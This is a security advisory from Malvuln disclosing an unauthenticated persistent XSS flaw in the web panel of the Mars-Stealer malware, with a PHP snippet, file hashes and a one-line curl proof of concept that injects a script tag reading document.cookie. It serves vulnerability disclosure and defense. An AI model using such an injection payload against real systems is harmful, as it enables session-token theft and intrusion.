Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Win32.MarsStealer Web Panel
Vulnerability: Unauthenticated Remote Persistent XSS
Description: The Mars-Stealer web interface has a "Marker Rules" component area. Third-party attackers who can reach the Mars-Stealer server can send HTTP POST requests injecting arbitrary JS code into the "mars" MySql database in the markerrule table. This results in a persistent cross site scripting condition, executing client side code in the security context of the currently logged on user anytime the WebUI is accessed. This can result in PHPSESSID token and data theft or GEO location disclosure of the user accessing the Mars-Stealer WebUI.
PHP code snippet "markeractions.php"
require_once '../../db.php';
switch (trim($_POST['func'])) {
case "markeradd":
markeradd();
break;
case "markerdelete":
markerdelete();
break;
case "markeractive":
markeractive();
break;
}
Type: WebUI
MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe)
MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php)
Vuln ID: MVID-2022-0452
Disclosure: 01/15/2022
Exploit/PoC:
curl http://MARS_STEALER/mars/panel/includes/markeractions.php --data "func=markeradd&name=/%3C%3Cscript%3Ealert(document.cookie)%3C/script%3E&marker=WWW.MALVULN.com"
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).